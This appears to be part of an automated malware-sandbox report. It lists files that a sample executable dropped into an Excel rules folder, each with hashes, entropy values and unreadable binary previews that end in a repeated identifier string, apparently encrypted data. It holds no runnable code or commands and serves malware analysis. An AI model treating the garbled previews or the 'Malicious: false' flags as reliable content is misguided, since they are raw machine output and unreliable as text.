Preview:	<?xmlb.....)..5#.\xt....c.<.c.k.'O\\..\|....r.........m..[.9..(Kf..x..x.,.....\{]...B.L....V.7.Q...L0.KjD.A....My&p....I.L._0!.n..Q7.$k.+.s..O..[HkS...........n..g.I.y.'..n...r.TP(.9....4Y.L....zx[_z%xA.J..R.../Mw..\|..E.>..........q-I.1P..PnH........;:..A.r.K.2.@.H/..t.O......^.eCr..~.W.]Jy...!i\.>...v..o.....1..n.ar. ..a.a..'ebT.PQ.@...B.C9..0.g"...i......;..B.J"e..&u}.....h..X)A\|)......4Wn.J.yG...f2.A]......?......X.......V..{....B.8..p....KU.n"...f..j...xftie...f.....h.xo5....5...,.(.4.1...(.......*..+...>.R.7W..p.5....H.yj._..j]...e....7..H.Q'Z..@K...A@.4fx.S>.L..1..L.....e@....q..G.V...l.j.l..=...\|.l..?B..Lo..\|...Q.N$E...O.b...H{.. .h.9M5....0.3.=Hr.G.A....>.?r((<.k.......0o."..n&.[......Z.`f........^...i..O.....y.P.[5a....C....E.!.So..$..d..V...i...P.b.......2...l7.....`..?._"..=K)6..Dk.M.SY.Y.....q~.O[.dp.....(/.].<..t[.....I.Z..c...0L..@.....p.9.T....E.../.R.%.....;..R..{..Ek.q...G..5..pN...wOh..w.S..@40...?.z.V.Z...^....#r.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.735747975221152
Encrypted:	false
SSDEEP:	24:glIYL7JUl3HKu4csSep2wMOtOuAouHREqb1NUxaIfLKB8ZH5bD:gxaHf4ckzdOuMxEqZNU92BGD
MD5:	0E16CF5D8FE3F307802B69CC387E2A2C
SHA1:	11553BE39C7C351CC99A31F9BD864EF7368FAFCD
SHA-256:	BCDC3EEE62DD234BD124F43CBDD6E682764D2153BCCABE91EC9DC9889F73831E
SHA-512:	C47FA60730DE64D929ED6A8764201B21A6B7426C0717214ADE374D63C4FD3AC96F8B36821FFBF92126447A887A944AB73A5316807EB8D27FAE6E5436E5CD33FF
Malicious:	false
Preview:	<?xmlc_g.s...J*............\..E..~.t.4Z...0Di........%n.?Kc......L.5...}...+..30.]y~-....u.(...[..zZ].L.1.....iH..!?t....E.6....v..W....2.....q.a...=@j.cl.vVIM{-.A.3Sk....qG.X......;(.."..hDm.(.,.p.;.HQ..@.....!.H..R.s..A..Q...B(.I....:.tq.E.s.K.o.J...[..U..Q....p\|`....Zx..... .(..y:#0.E.2p..U..:...Lf....k`.n:....T..!..\.7s( ..RB{.+.W..o...jh..;..$.'#.9.L....J...ZI]....p%.`I.......\..RoXh..v..t....%,l....e.......7.....+..b..<..vj.3._!.v...x.v.......W)..e.......h.vq+.........).M..8.z.-.......R....../rP.-..b+..i.s?I.8J>.X.k47>..,.2....f.........;..i....=_.F.V..B1n%..3...\|.3......+Q..q.I...b.5....g8$".z....6i<....W.q{....)...%."I....9ZQ.T.F.._..T..Z..V.:.m..p.$..R...yw.....L.....U.v..(Z.Z.1.p.zR.....0..fD.JC...gfe.!.g...R...0.y>...b-.`.m"....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.741687460652465
Encrypted:	false
SSDEEP:	24:iFzVl1X0TOivSswiniPhMKoDZBikzCdXaXxGLSPBIXbD:idl5MSslnshxbXaXgD
MD5:	A183FB4E722B1368A794FC304101E073
SHA1:	60609CE33BB16119CA58D44FB03C6ACBAC3EAA21
SHA-256:	C9A9FAEB53A5E1DD72BC45B4DEC42015C43C2ADBAE96D19811555D37D99397E3
SHA-512:	3993C162B63619EF7E9306A8D000AD41C6B322129C986FE897C59F8AD6035A290DCE8F3866886E0CD9FC3494284B07B63C9806C743BBF648C23DBAFD7AA92D0A
Malicious:	false
Preview:	<?xml...o....\m..C9.7.....ai..L!$...C....Sf....Y.....a...e+.`...".....Y.~......\..E....E.........).;k/8.sl..........%";.>..6\....:..C1i....7.$.J............n'.. r...s.D..=k......3.....c.YM.....V7.Y.......`.oc.S...EhX.o.H..oe.2p0qq.}....$..^..1.q....(.4.3..v..1.[.<v.s.5...b....i..p.".h.$..t..-..S3.j....pm...}WPt.H!...........<..C..U...3.%s..2.f.c.N4.....iEv%p,...~...........2....R....7...a.U`.g.\!..Z%.....")Fy..:...5;..'yh...Q..$.>.9Q..[...p`...p........+W.u.<~.....N.A` .......K2...fd..../...c.X....F...Cu.P.8.qR.M......T.8<z............~.EC......i...`.Pa.P7G.........8..\|..g...eWc.j%.........o....CB..@.dP......'=.z....I2,.N.n.PP.Mv...P.XP#.8...@......(...2....i1..0P(.......jB..w...ujE:...?..P!...:.S<Z.`.<.......p..j..^.a).x.e.n.C%lbO.sj.M.O..Bw.n.. ...+..$9<.^.,.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.718853994932649
Encrypted:	false
SSDEEP:	24:nXx43i+ofWHt1vxtADS4DMrZ9aK4A7JOm6e98RdD+bD:O3ZkWHt1vC29x4MJu9rID
MD5:	6A9443A445CDCFEEA692B461C7AF12F8
SHA1:	D163A773D5C73E0C573B04ECF0AB395B7C3F796B
SHA-256:	F5005AFA7EA54C150313BCFBA48F5537D215D235C2E5296C981B7BF287D1966A
SHA-512:	9E1B1D2157472DD95CBCFD4FB7803DEFEEF23E2BF4068EB2AA0669F16A604E8C7CA49B06F094C22A4B1354EBC6E73F4476F9EE48A7E9794B9A09F7DBD5900375
Malicious:	false
Preview:	<?xml.Xe.x2./.Tmv.T.i.}rmb..]....w..P...)1.5..............o.>..h.bL]K.r(u`..@S....8.).Y....oB.........>.rI..+D...P[.vz.c.m>X..6)_w....d.......[.:GZT..7t.X....Fr....1......#.....Uw.Pi#u.%.}..a_#(A..6...M....1=..yfnC..{..X...n..T.p?......5.4..._...3.....[......#.1-.FA.(..Q9b.m.:O...?.Q.wy..P(..6.&.K.5..,..(.x.`r1..^.p...w..+"c)..yz.gW....T..,.S..W..~j..0. ,.a92!p........u^....^T&.~8...3...W......r>n..sZ...j.IE..F(.i{S....`'m.qR.=7.W.....]./:.._..I..?~{4T......lp.x7..D.x~...A.....^3.....u.<.<.U.!..&[.5.........Oy.W- ...Q.. ....X..y....a..8.G..d.....n..{.l#.(.....wk..{..i...T..+9jHK].\-.-A .,Z..GEb.:.......(x.X..L"W.(...N..`..C\|m.u..N'...y....3......6..).U%Q7.fX.j.cKn".Ar?._......2.5.}..O.\|.......,......G#.o.3.......'..+.u.2.2y..Z.(..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.706597239601304
Encrypted:	false
SSDEEP:	12:cSq6t4ui9IjAwhrMh+SA2e5JU/wEnRQBcmn/htqUwJNgTEu1+cii9a:cSc9IhhLSAZ5JqpRacmLggAlbD
MD5:	2862C965C25651FC1A0D1FCA51DA3E12
SHA1:	76530974B7ACA2146BB1B3A28E55AF92B7ABBF6A
SHA-256:	3167CA9C16B6D79955CCAC0CEB8CE641D100BE2AE6E6716D24516065C1178FB4
SHA-512:	E80AFC03E25BDC0905DD9AA46D555785BF3EF64A33EBE1A04BC5017AB0AB33E53C2D42F338F6109D49F9C6EB8DA7C07A19E4FAAAF68E9399CD5223CB095EE92F
Malicious:	false
Preview:	<?xml.G.M....T.#....u..M].._~l..d=...=<..BE.H.9....t.kSv.....It..0.. w..nhVLp.I.7...Z....0NQ...gT..<%....#.A.p."..7..\s..B.X..}1Ml...p.M....O....r.)33..a.......y...........$If&.q.R..CB.nq..S....K...h.I'..O./.Kg...7.+5.^JA.$...R ..j...g4..q....x^q......L...W......5. \|c.T,.j,.",....>{....DA.*{.)[-.....N.....a-..tE...5S.....F.s.8..Q8...+...$....f.......o.<~...V..@D..].O...R..\df..WoO......./Bv......6....7..g-"..}..<.a\| .? '8...<.....K. ......._)\W_x..9....?.`./....V;.qy..(E.i......U.?;..."...b..>D.N..O.@(..7...4.?...q...#.7...][.)N.c..c.M..A...:>...S.. .c.$....:.@9.,..?.f..R....E.H0.[...T.....47!.KC......\|.d.!o..C..=..(........A..j?..'K..7.z.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.838374878124616
Encrypted:	false
SSDEEP:	24:pZotM8gchd6bKQjy2YvSn1rH6lPlj3t2ZwPVEstiCSDbD:w/gOd6bTRYan1sPlo2tBSXD
MD5:	41554F820B312BDF12A6987C69CDC35F
SHA1:	FB39C6CF6219476CBD88B183E30EA680D470316E
SHA-256:	F299A814DC84E9D2B348970F7FCAA0EA2F4E1FC6932DF9059D788188B8A80068
SHA-512:	87591348CDCAE5215D95790BCF5D43E8E25E5A5E51141FB6096309D8872D4D94C305481F927104A4CCC46512C3BB6372EC225F7C5D3FB5997B45A03188061FC9
Malicious:	false
Preview:	<?xml.#.=...F,...X.q=...i.q%....\|..N.....<.."KC\..\|d.P~.....T......l..v.$k".KJ%.....f.>.....9c^(g.Zl-D...Bj...\|......\|;......0U..}./h.H....=..D.@.n.r...:n.G\|....%.~.#UA....\..@E>.N....1..uL....c`...Tnb."T4Z4.C....2.{..TG.y..57.v..d....[..f..<..t...I...I8.4.i..s...j..o&e.....Q..{.J..X.HUG.V1&.....X.+.w4I....[;.....R..t.z..K....X..LN.su..7.o.YI...^.H..h.....b.'.]wcU.Jj.Q......#..n:....,...x..7rh...d~...@....U.AE(.>...`....bz.:..2'$..n..G..;.\|...s.).#.8......P....g F..} /....bG.V=.<..Y....,.'....<2DS.1.'.Oh.2.L.5.+...................%L.._.!..dgcw...j...<......r. Z].:..#&D.C....N..{.U#...D....(..#.._G..v.F......dX~.......{.8[.s..,......Z..b.I8.x..C..94.......Ry<.....K..ZwF.*NW.#[.W./G....+..j.}..H.9.{gX..c@.}l@....V.9.0.n.l..4U..Z._.U ....\|x.J........!..R.m...u..?0...C..)...........P2.(lB.~...GF...j.h.+..LF6..`..]....$.aF..M....I..9'.....n...$.Q0.m.....QbW..I`.6..._.h-.8.].....CW.'2.....U..<r....X........1......T.dR...l.a.F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.792823100648287
Encrypted:	false
SSDEEP:	24:6Q8XBp8+o16MWNj8Va+IhsB7rP1Z/BFMYISbD:6Q8XE+hMW82sZrP1ZHMmD
MD5:	B8070AF0BB57AC7045380798521B9A0F
SHA1:	CF876592D0E9C230368C939425273306E89A56A6
SHA-256:	6037364D9BB9AE2D6FBAEAF8D009CC43F9DCAB56F7975A3CAD033A734AD3E659
SHA-512:	449B10B616F9A97C19C0BE66CD9D1203AE2C94D8B9DE817C862E46FB2B664F76D02F2B658F8DB69BC5DB8ACECF473206CA188019FBF6C8A8E89EFF3CE452499B
Malicious:	false
Preview:	<?xml....jf...p8.{..F.....\.nj..m-D%...a.#<.,4..._..2.U..-...H=0D...Yp.U..H..qS...2.CU.lt."..q..A,..m.B.!:......}.A .W...i'.t....^.IZ...1L\a9...TV...t.O.o/H.n?TH.]i.3.....]8@.5.B...F....B......E.....$V....t`cc.W0.1n..&.a].Hb{.@..5...2...ap.....R9._....1.....Dg...0...95.av.ZLd..F...E.....o.. J..p..M...[3[....l....Y.8g%e.Cl....S.\|.S...`.@..T.../T.......gE.^.}..0y...D......8...9..l.e...4....7.L...u.a..f......>$..tb....j.=...#6...p..!.}..B.q.c.M0....9o...iG.....u..$..)l.c(..t..u.,4.Ge.b.K4.~..iq_......b.S.?6.\|... ..6p_.^.w..6....-....8.~..1l.$........W.b..7..J.V..~.+-@.&^.m.]...$.L;.x.i.Z.".`K.8...@.P.FB..........mfDx.`...W.bDBXW..&a(.K.).......6^.M.W.t..O..T....5....t....s.....W.>..k%I\|;ZQ..G.B.......,.-GA....-9....IE....7..4.....h.+...,.^?.0.S(....l..N.ehz...f.k..XE.D...{.t.#. .....l.B..AU.}....YUT..F........_.\.&.....V..8..vh.Q..~....r.pi@.T...n....;...b..d_.^.R....."..rp.......jSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.780365449590622
Encrypted:	false
SSDEEP:	24:QoS2CvMDXmDeGpnjobLDcvg9/4bJAsbeJGQAJ0MPJmd1X77b3zMUbD:cmmKEjc4zbeJGbKMxcX/bzM+D
MD5:	65B210E2886FC9B8D6CF2A5BAAD3BBFA
SHA1:	37E1555F5429850531CF36886D15430E341003A7
SHA-256:	5FF3CC97874269E379163943E9ECE062140EE512279336A5EFE2D7FEF6E51382
SHA-512:	F357C2D57DE4CE29E488C8815BBED97FCE171D876C46D1DBD635D966902C5BBEEBBB66787F2DFD8AAF1CF502FB7721CF3ED3842DE27C54C6D20BAAB181B4DEF8
Malicious:	false
Preview:	<?xml.(!.:{..H....iYx...N..........`.....W...Jndf.VC.&.Z...\.~R4r.^....o.H>....h........r..K..2.5A9.eO..%;.$.vUV@\.E..\!i.b.a1..."...f.!.~/........G}hSIc...E..\.#...a]...U3..gV......e.2..1......`iY...'.hJ7.#...^....-B....L.x?.._.........Q.\(M..Ha.\./\Y..M.......[.q..J..,q...$..q....a..G......nS...#.>...T..x...R.N..y.c.....P.q~j.)..j..@I..s.[.(..V>;y..........Z...V.f.+.".:.F.w..['4/}"8O."...-..........HS.X..+,>.r...-.Vd)>...Km..u...FF0}...4....e:.1.x...L....W#...U.....e....1.Q...5KNpe...''.u?..I0..:......b......~.s.'...P...[:....G@o.nz..$...I..n.I.<.......x.....Dbd.]Q.-......B)E..6<!V..HE.p..6..g..<..H..;. m.....1.....H&..Jw5.o...IYIY...VE...%,.H..`.!t.$mM.......o?z\!.t..\;rTO~b...Q......K.#F...Y.'3.O.FU...>.6.6Yl.u..~..57...%..=.mb%....?Y/..c..C...i.8....a.....n..A..e....[fd..T..(....%.\x...S... K...~..:;.\'..;Y..J..w.}..`...u.3x.e2.~.;=....DQ.. 6x..n.f.....z...A..~.44..Jb.Ys....6.6E....Ua[i..........WK..Tj+`..5k\.._..k..o.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.797649651112066
Encrypted:	false
SSDEEP:	24:4inrkfL5P5EeE5e3yy47u+ni9Ih83vObsbD:Dn+L5iyyyCnwIpmD
MD5:	A97235EBFAF5D44FFD37C2229C0C02E4
SHA1:	06F0E6B8165872ADE14FBC83958BDC2244A2E1A8
SHA-256:	7CC97652C93BC60DEE3E5E2F8F0501EB1F35312DAA8863E3EC304D6423DFF0BC
SHA-512:	26C7CE9C43229ABD6B6067F7DF4AE4AB731CC4EE4E926414EDDCA7E4E6EBED7FE7B9C2D7939646691530E613B0A65AD939A9ABC0DBCA77C7A20274DC7EC6DE6F
Malicious:	false
Preview:	<?xmlp.$Jh....-3_\|.$...S....U...2r..-..m..8#..H..P..tt..3....Q..r..=a%e....{.....=l.s.L..Y...Y#0u.G......t...I+...J.>.<MX..0.\.....o.R`.4..3oPz.?.{.....`...k$=..c..~....5..t.....+.is...p.....YI.irn......:wwe..yJ..t.`..e.....`....<......3...'.......W3Fe.....O.\|....78.T.K.t.w........?H.?N..p.mp]....5....4\|.\|.2...8..t.bq.2.......aw..Fw....jB&...... ....$....1..?......X.5R.............A.;..j)....?/.7B:.k...Y,.h.=9.A..K.....i.B..q.z^.". ...'.7.:............%.A....C7.d.=dw.a.6...S..8...R_...N...9.H_...\|..."H1.M.`...._........v.D. .6.}...l.j....]-....:......J..@\|+W...9Gcv...C.U...[...J.6...A..u...@...N...U_..L}..w.t(...O.qS.=..m.....W.....t.....%eQ.._..\|...(....'EW..v.I.....r}.D.G,.3......o.\....$.6.a......<.N.........u...q..?.K,..e.R...U..eW.".g.&.=&U.c.%.....@...&..<,.....dr....e\M..<..f...ofna....0.%.ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.8839048149759225
Encrypted:	false
SSDEEP:	24:EbQSRN2HA1VlOjZMTIGKU9w/9aYlreQnPk7F+0yWvO4IbCMWhLxq3l9FdV0bD:KQ4NHdASTIGA/9VliQns7FRvzImVoleD
MD5:	9950C27EE16D15A6FB193AD1738EE7FE
SHA1:	1E4F127738AFE9D427A35DA62A7494CE96A7DC2B
SHA-256:	2C12F4FCE913E6AB7F1DFA780D568286157B2F2BA61A3276A08111ECB690F1C5
SHA-512:	82E63D5B96E2B6C303C41F81D135C9EF06A28E4344A3C0EC3F0956FB4E5FB75026A4F4E2471A93F6FD7089DD7390493A6121EE37F564164BB082B00F55A9047F
Malicious:	false
Preview:	<?xml....d~:<...b&s.#.....t....q9.e......u.R....g....K......q...\.....I...........u..:.K@..H.9.....^..d.`...w......$X,g.l.E.^=.t.....d...=_.~c...."........A......Z...Q....y#<..v...^?0.B........y...<..s..\|.y$..^yZ..H.......O.KF?...h...m.P.F..P....2.@C6..l....B..T...y.f...}zE.uz`.w.:...U...x.p.l..B>....yb...H>z....X#.vG......,..k....57...jg..8....G'...O.".......n@.~=.,?Q.4..d.....m..fZ"A..VK....).......-r.2c.t...w...w").;..8...K...[...{.Y...=..k.d.?\.u.......y.G.......7....._..._..G...P......X....&K..w]......;.%..!..x"5.]..:....Q.H.K...H.w.+.[>@.Y:..)H'....K.".HK.{=.8........RX.i..._.O..Q..S..C b....dA.^..3..W.\|.........Z.o.[j.'.^..%u.......LXr.~!H.)..H..bB...1.Y....M0..y....-tm.6fBE.y...a.s,y...&.N.._-.UImb..nC.c.\.R.b...."5.5$.Q....+.j..>.%rv....\|...x..9.q..%M...........5.)3c....%.?.y....$..YB%l7Bd.f..]R.....B......nU...<y\|..W...g..$=.T....s...TdA.......0...oh<^K.O..L.+2....O._..N_\.e(w..#.s.... .2...;..U0..._...x.,......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.798003719922445
Encrypted:	false
SSDEEP:	24:JHJXPaNxiirp411c7KY+lLk0nY0hJcjW+MndBC+TjxbD:JZPUiil4TKK9xtnIMnZD
MD5:	550F6F64D4EC2CF02FB9BDBD89B06337
SHA1:	C0246F3C69D420F0A27B701644DD554613ADA277
SHA-256:	83DC6B9C54462ED2A5801F43665A0143D2F7C62CB9A1CBF2DD9E9639000A0C62
SHA-512:	6DBD5A35A1111AD9A3C61498D35C1810C71DDE4021D6DF5AA480E8C8A6B7797F3AFBFEEB298ADD226EA8BBC2F8A2737F09AD23C05C3819DD58E40A909D6FAD8A
Malicious:	false
Preview:	<?xml.(..i..r{.;....i5.1-h.Z...LU..g..1......$.7f^.n..PN.P.Qh.c."..B...].8.......V....w..bs.2.:.r.J...#..Da........1mHb.\|.......`....8..PZX]........3.< .....;...vm..,2.^...b.X.....b...'....TF.!.9j wW...T.#`..l....s..85....z....L.A..i8.G..........}s.E...,]"?I.Oo..5......O..^..7..>3O{..-9...#.T.3oj9.ju....{F/.p..{..=.K+...J.GJ..bi.....D...L^...Z0.A..>.4.v.V.jw.M..poB...$..p.d...wpF....H;......M.[6.N2.Y.#.......%.3.<.....d./...d.D..8...I#.U...d<.v....,.?..T..@..R..7...T..3N..~^[."...!BW...0............../......c..v:V.!.....`.Kq.BW.O..78..8...V....... .>p....%,.8.d12.............y....o....e...Xf.7l.....c>..O.9..f~..wR.@......4Ba>...Ma......9.c P...J.P.h..#....}6\|......3h.8.7.4..0;...W.o..Z......<.].t...~...z{.h.aAs...X.s.sR..W...Q...b..n.......v...p...o...~.....1S.@1....D......L4.....@...ipy...t7.1+C,.H[T....(.f%j..J.....-"b.....g.+.FS....Q......./.=x<........uYP...s.VSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.814329566761891
Encrypted:	false
SSDEEP:	24:FnNA5QPmG/P+6vlJZ99XDO80m6PL3ss14XxkFo+fnyDbWMJtt7v99bD:FnNUYzhvDL9XDgD3sWYxKjn+bXxZ9D
MD5:	8BA042A6B2DEBBE6FEC3D807ADADBEBC
SHA1:	5F8BCE8836E5B56B01523FAEECC0D0FD49CA1423
SHA-256:	CC82538626C67A3FEA40B34806A18909F9061B3713C17E22C1EC4BC290AD79BA
SHA-512:	59AD9F2C4061F98FD0F9DCE593E447B4B95E23E33042DEB8B7997AA64D1D2F947FCC5D81D0ACCB0F8353A3255698FC25D750A7814FFAA34CD378FA7FD7E7489A
Malicious:	false
Preview:	<?xml..KQe.7s.i2......T.ZG.......v..$A....q.)mA..gI?E3,.]...8)W...rG.`.G.?.$..B.11..A_....@....cD.F).<3...]d.w'%gU..1...3.s...vI..}.cSbc$.H.k....L?..(F1.Gun..i..%.eu..U./o..=.}.....e+..b....B.#-6Mo^.oZ......8.i...I.~.+.c;...B}...t..lB.;.=c....Tp...".A.....a....fm.i..&..`.]N e.._.y$...v7.0x.....)N......x)..31......p.t..w..%....[...k.m........#.....d....i.\....T.P..f>Z..[......Z^JL.&h.o.^..F.u..3.S.Y.2K.., N5...{.Hi.K....\|.T...}L.q[..S].....b&..N[..T.M..%.s....$aY...)&....5....H.!.~.9Ak.tfX...p.6.y.Ig..g...R.y..7.0id......I....vw$5..9.m$.w/....H.1.. :/..g..?..X........h..#:0"6{U$z......&.)?.L....@g{..Zq.Mn/5V!.&AA.Z..I.....!Z.7.m.B...(0U.z\|.Y.....e.+A..A.Z..0U.B.E.vt.i9...z.%.a..`d..al2..&a....P..h.P..a.}<...+.s....F...:..?.eS..V.J.u.O.$....\..i\k...4....'.M..#.3t.w.7.K....tU.h(+...j ~.......kO. ..y....i.Q.)0.t..4..e{z.exs6...3pK^......u.e`....K..........yw..Y..vZ....>..t...A....Z.....W.JR.O.+......q...\|#.I...65S,.T.u...K.AG&.5[*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.875962750331832
Encrypted:	false
SSDEEP:	48:4zHmfNDjir05DqSsGC8LdcGLtda9O6zItaGXWwGNaD:3Vjqk/sGC8LdvhIsBOy
MD5:	7AB44DE8DF88E8A73BE8705E675A3911
SHA1:	A60DE23EBE0FE4394C487F25FF8FC2DF7170BF28
SHA-256:	16794D08177A11BD6DEBD28301958CCC1E35C018AF6A39623ABA6B43DF2CB44B
SHA-512:	1BD31567B088B8490B61F5806D53E713CC83D3BD3BC42E4A3D49272A3CFE61C2A3D81739C93C4F46F586FB541C8F8D6A505020217FE85C7BC455D2253C253DC3
Malicious:	false
Preview:	<?xmlV..pBG.e.b..9..P.}L..!r.."....~7..iwH}......}UnD$.%.^....!..~qP@.P?Q{y.4.....T.x../..h.......BK.K....$.Gl..I.b..?4v........,...[.............u..T.(N.../..v...&@....+.........v7.d..d-.....(q._7D..B.t.....Q .w]!.0e..M...{...=.eau....@.@.A......\|&....\|.i..O..........e.F.\.....).M}^....W.....'.L...1..'0...Fa./.oi=......n....]\|..F9X.:?...sp...D#..%....J.x..S{R...z.y..-..a..2....a..G?...{.....\|.....lU........3.....jv7.V..MK...."..T.1.&..sk.. .Q...E..I.G....Mn]L.......$....P.i.....z.'Q..gJk...7.-..b...O.D<....l?.&G.]Z.&7b..`...C.......q.....OL...c..6..j3....\...B.-.^.".[".l.&..N=U..M .87A.k.] ..5...U.....5.W...J.F..5.........,...oW.A..0.q~O...In....<.<.{9.6...G..{^P..3EpfZ+?x......f.r..]={a[\|.T...{......R.v.G..h..H$..K....G.DX_.s1..F1..O}y....~.=iN.......I...$.......hs...i...X.rg0.#...P...u"oO).....5.O.R.....Cv.=x.GLu.....a6.kB_fe..f.i.....\..........G...i..^..S......\./..Z....)..?p\|.I..#..m.......T..;.Q..-......LF..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.744307780410732
Encrypted:	false
SSDEEP:	24:WElL+3RsMfaRhXuOCj1TTZFfiedyXkSVybD:W+kERDCRTTnscD
MD5:	46EC0D57B6F576C00F8E847000B62D9D
SHA1:	1C1E3214450C2D5037DF07916330BAA5DF00E1EB
SHA-256:	14340DC398BF23B508CEC50232220992E7B735E4671DD8C37AEBD67FFF7000AE
SHA-512:	068A75C51F90934DE34F649B3CFA0E5BA5FF699E936D673254DA8ABECA8C86E7DC753D7D6BFA3B89236E9286665299A179F584F3DB51FA6EE3FA6B8F86171885
Malicious:	false
Preview:	<?xml..g.]....I...$..$3.D{..x70H..H).h.J.x...oB....i.$..&.I......g...#.\|.c.._..Z..O'....V.......Xk.....t...b.u.c.g\|`J..."l}9.2/.`Sp..vQ[Yi51.p.&...3..C....u4WC....E."....;p...M'.!W..{..\|.d\....M...#=...k..S2."......X\|4.?.;A....;QE.O............)=.:.Dbs.m?/R..Gye..c.?8g...uc(>,.}@.RAt.D.(i@X...oJ<;j.I..kv.....b`..9E.kY&R.\J.d..<O._D.lRkC.:..)..G`...z L).TK.zq.pR.{7H....sT...@...M~....z.._{...3...=...R.Q.Ah...T.z..-H..K...U...e...i....o-.....58e.9J.K.B.b...!{..........g.g...;~.5...%.... ..,..+t.n.f..yBd,Ye..V.m.W..{P"bO.G.X.....Y.J....M:{..+F....0@n.DC6I...._v.%vm.....VG...n....`U-L.N......9../TV..)....n=.VL.w.YD..`F..`8...d......(...:+hi....A.8m...UD.h.....[wH.D....I....,."3....9J..xl..n..;.*.j#L.f.W.q.Lb.K..=$aw).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.831474982297864
Encrypted:	false
SSDEEP:	24:ww0yoc+4wVuj5mCfhK5FcyVQTIW0kqNOeAVwXAmuJupwbyehElH1CkbD:l0yocRw25mCfgkIW0kq0OwmuB+MuD
MD5:	5EE15B1A5E0216363B718446DCDF2360
SHA1:	5EBC6869327C2D00E335BA33440FD95A95DE7794
SHA-256:	754AE74EA0AA1DE0FDB00A72A529F34F04DCDDE08F6D7B5EF0DEC4E993961CC6
SHA-512:	BC726F2380C1E159807CFE2B45B145259886B2DDB879B9F47292EAA2D704A5C8BE235112C4B78CA14FF7E31E33F79DB509DF8C5293B13E4BF0EECEE9C6F94FF9
Malicious:	false
